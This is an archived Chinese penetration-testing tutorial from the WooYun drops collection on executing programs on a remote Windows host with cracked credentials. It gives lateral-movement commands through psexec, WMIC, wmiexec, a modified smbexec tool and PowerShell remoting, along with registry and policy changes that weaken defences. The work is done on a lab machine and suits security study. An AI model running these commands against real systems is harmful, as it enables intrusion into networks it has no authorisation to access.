# 在远程系统上执行程序的技术整理

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-07-24T09:41:00Z
Canonical: https://wepostx.com/topics/923

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:660
> **原始发布时间：** 2015-07-24 17:41
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

上一篇学习了如何导出域内所有用户hash，那么，接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序，结合实际环境做了如下测试.

# 0x01 目标

远程登陆目标主机执行测试程序

# 0x02 测试环境

远程主机：

```text
ip：192.168.40.137 用户名：test 口令：testtest 操作系统：win7 x64
```
远程登陆方式：

```text
net use远程登陆，不使用3389
```
Tips：
解决工作组环境无法远程登陆执行程序的方法：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

# 0x03 测试方法

## 1、at&schtasks
计划任务方式执行程序。
条件：

```text
启动Task Scheduler服务
```

## 2、psexec
PsTools工具之一，在指定的一台或多台计算机上运行应用程序
条件：

```text
需要开放ADMIN$共享
```

## 3、WMIC
功能强大，可做系统管理、远程主机信息获取
条件：

```text
启动WMI服务，开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
```

## 4、wmiexec
使用VBS脚本调用WMI来模拟psexec的功能，基本上psexec能用的地方，这个脚本也能够使用。
条件：

```text
启动WMI服务，开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
```

# 0x04 实际测试

使用用户名口令远程登陆192.168.40.137，如图1

![原文图片](/media/2016/06/1ebcfe0ebe80a370b45c3db5ef19c80e)

查看目标主机共享资源，如图1-2

![原文图片](/media/2016/06/d9602ec3333b753f8c121a7e53e41a55)

## 1、at&schtasks

```text
at \\192.168.40.137
```
找不到网络路径，判断是目标主机已禁用Task Scheduler服务
如图2

![原文图片](/media/2016/06/b7d89333ade0bfb63e82900b3ba23e10)

## 2、psexec

```text
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
```
找不到网络名，判断目标主机已禁用ADMIN$共享
如图3

![原文图片](/media/2016/06/a0ced120071b06ca9eac82df4df747b2)

## 3、WMIC

```text
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
```
Description = 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动，判断WMI服务被禁用
如图4

![原文图片](/media/2016/06/78e3e431b5424ebe4f58f8659c857486)

## 4、wmiexec

```text
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
```
WMIEXEC ERROR: 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动，判断WMI服务被禁用
如图5

![原文图片](/media/2016/06/a9f8c74841d7ab7a29534d65a0ee1a6c)

# 0x05 分析

整理下目前掌握的目标主机信息：
目标主机:

```text
1、已获得登陆用户名及口令 2、可以net use连接 3、开放共享C
```
但是：

```text
1、默认admin$共享关闭，无法使用psexec 2、Task scheduler关闭，无法使用at、schtasks 3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec 4、不支持3389
```
那么，如何在目标主机远程执行程序？
猜测管理员应该是对常用的远程执行程序的方法做了限制，就在一筹莫展的时候突然想到了smbexec，它是基于psexec，如果目标主机开放了其他默认共享，倒是可以尝试smbexec
于是搜索smbexec，终于在GitHub上面找到了一个smbexec的c++参考资料，作为工具改进模版
模版下载地址：
[https://github.com/sunorr/smbexec](https://github.com/sunorr/smbexec)

# 0x06 改进方案

模版中的bug不细讲，最终我成功用vc6实现了psexec的功能，同时也做了一些改进：

## 1、可指定默认共享名
为了完成上述测试，加入了参数来指定默认共享，如果ADMIN$共享关闭，那么可以尝试其他磁盘的默认共享

## 2、分离安装服务的功能
在实际测试过程中，如果ADMIN$共享关闭，c$共享开启，因为UAC的缘故，注册安装服务的功能会出现bug，采取的解决办法为将实现注册安装服务功能的exe单独上传至c:\windows下， 即可解决权限不够的问题

# 0x07 方案测试

### 1、工具说明
文件说明：

```text
test.exe:主程序 execserver.exe：实现注册安装服务的辅助程序
```
参数说明：

```text
test.exe ip user password command netshare
```
eg:

```text
test.exe 192.168.40.137 test testtest whoami c$
```

## 2、使用流程
（1）上传execserver.exe至c:\windows

```text
copy execserver.exe \\192.168.40.137\c$\windows
```
（2）远程执行

```text
test.exe 192.168.40.137 test testtest whoami c$
```
如图6

![原文图片](/media/2016/06/5e0d95c86e8d6a6e8a63f1487a0feb97)

最终我们通过改造的smbexec，突破目标主机限制，成功远程执行程序。
程序源码下载链接：
[smbexec_source.zip](http://static.wooyun.org//drops/20150724/2015072404442894558smbexec_source.zip)

# 0x08 补充

## 1、powershell remoting
实现在目标主机远程执行程序后，可对目标主机开放powershell remoting，用作远程连接
条件：

```text
远程连接会有痕迹 本机要开启winRM服务
```
命令汇总：
列出所有远程信任主机

```text
powershell Get-Item WSMan:\localhost\Client\TrustedHosts
```
设置信任所有主机

```text
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
```
设置允许运行ps1文件

```text
powershell Set-ExecutionPolicy Unrestricted
```
执行test.ps1文件

```text
powershell -ExecutionPolicy Bypass -File test.ps1
```
ps1文件如下：

```text
$UserName = "test" $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password) invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
```

## 2、python smbexec
随后用python写的smbexec也实现了相同的功能，但py2exe的时候遇到了大麻烦，如果有更简单的方法， 希望能得到你的帮助。

# 0x09 小结

这篇文章共列举了六种远程执行程序的方法，如果已经成功登陆目标主机，却无法执行程序，最心塞的事情莫过于此。

```text
at psexec WMIC wmiexec smbexec powershell remoting ...
```
获得用户名口令，实现远程执行程序仅仅是个开始，内网渗透会很有趣。
水平有限，欢迎补充。

## Replies
